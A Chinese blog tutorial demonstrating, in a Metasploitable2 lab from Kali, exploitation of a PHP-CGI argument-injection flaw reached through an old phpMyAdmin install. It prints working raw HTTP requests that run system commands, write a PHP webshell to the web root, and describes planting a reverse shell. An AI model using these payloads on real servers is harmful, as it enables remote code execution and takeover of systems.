网站首页 > 基础教程 正文
phpMyAdmin简介
phpMyAdmin是安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。
今天要演示的phpMyAdmin漏洞就是通过在URL地址编辑或者定制发送的指令,使其执行一个PHP页面。在安装比较旧版本phpMyAdmin的时候都采用默认配置,都会存在这个漏洞。
环境准备
靶机:Metasploitable2
攻击机:Kali
上面两个的安装我就不展开了,网上都有详细的教程,而且也非常简单。
漏洞判断
正常流程其实是扫描到目标机器安装了phpMyAdmin,然后我们确认其版本,并确认是否存在预期漏洞。我们准备的靶机Metasploitable2就是安装了这个软件并存在这个漏洞的,这里不演示前期扫描的动作了,感兴趣可以翻一下我以前发的服务扫描的帖子。
判断靶机中的phpMyAdmin是存在漏洞的依据,主要是在浏览器上访问目标机器的这个地址:
192.168.188.129是靶机ip,只要访问这个地址成功,并显示这个页面,就说明这个phpMyAdmin有我们预期的漏洞。
漏洞-初步使用
这个漏洞的使用方式其实很简单,在kali打开burpsuite,切换到Repeater模块,然后将攻击目标改成靶机的ip和phpMyAdmin的端口:
然后在request中输入以下请求内容:
POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 35
<?php
passthru('pwd');
die();
?>
稍微做以下解释,地址后面用?拼接一长串的作用是对PHP的主配置文件.ini进行修改;allow_url_include是让请求能够对服务器上的其它文件进行引用;auto_prepend_file表示附加文件;passthru('pwd')作为参数的字符串就是系统操作指令,在linux可以说是terminal命令;die()表示执行到这里就结束,如果不加die(),会返回很多没用的代码。
点击左上角的send按钮,就能将请求发送给靶机,靶机会将请求中第6行passthru()方法里的命令执行结果返回给客户端:
能执行系统指令,当然就可以向靶机写入文件,而能写入就能做很多操作了,比如提权、植入病毒、盗密码等等。
漏洞-写入webshell
写入webshell,直接用下面的内容作为请求:
POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.1.103
Content-Length: 100
<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/a.php');
die();
?>
执行后收到的报文中看不出有没有成功:
可以在执行一些ls查看是否写入成功:
还可以检查以下文件的内容是不是我们写入的:
确认无误后,就可以使用这个webshell了,直接用浏览器访问,并将需要执行的命令通过地址拼接传入,例如调用cmd执行命令:
漏洞-传入一个PHP反弹shell
先解释一下什么是php反弹shell,就是植入这个php反弹shell后,被植入的机器会主动连接指定机器的指定端口,这样这台被访问的机器就能获取发起连接请求机器的控制权了。
kali里面有现成的php反弹shell,位置在/usr/share/webshells/php:
对php文件中的目标机器和端口进行修改:
在填入ip这个机器开启指定端口的监听:
将修改过后的内容都通过请求发送给目标主机:
不会有请求结果返回,但是在监听的窗口可以看到收到了连接,拿到了shell:
可以看到在这个连接中执行命令是有效的。
- 上一篇: 技术分享 | 利用PHAR协议进行PHP反序列化攻击
- 下一篇: php pcntl开启多进程执行任务
猜你喜欢
- 2024-11-23 西邮冯景瑜团队挖掘到CVE漏洞,被国家信息安全漏洞库收录公布
- 2024-11-23 PHP操作SQL数据库增删改查的代码
- 2024-11-23 简单轻量级的php的web防火墙,拦截SQL注入和XSS攻击
- 2024-11-23 PHP操作FTP类实现(上传、下载、移动、创建)的方法
- 2024-11-23 PHP7开发API离不开签名验证,你是如何设计?
- 2024-11-23 PHP连接msSQL数据库方法
- 2024-11-23 「PHP」如何使用imap协议接收邮件
- 2024-11-23 php 多进程是如何实现的?
- 2024-11-23 PHP自动加载学习记录
- 2024-11-23 PHP安全编码规范不可忽略
- 最近发表
- 标签列表
-
- gitpush (61)
- pythonif (68)
- location.href (57)
- tail-f (57)
- pythonifelse (59)
- deletesql (62)
- c++模板 (62)
- css3动画 (57)
- c#event (59)
- linuxgzip (68)
- 字符串连接 (73)
- nginx配置文件详解 (61)
- html标签 (69)
- c++初始化列表 (64)
- exec命令 (59)
- canvasfilltext (58)
- mysqlinnodbmyisam区别 (63)
- arraylistadd (66)
- node教程 (59)
- console.table (62)
- c++time_t (58)
- phpcookie (58)
- mysqldatesub函数 (63)
- window10java环境变量设置 (66)
- c++虚函数和纯虚函数的区别 (66)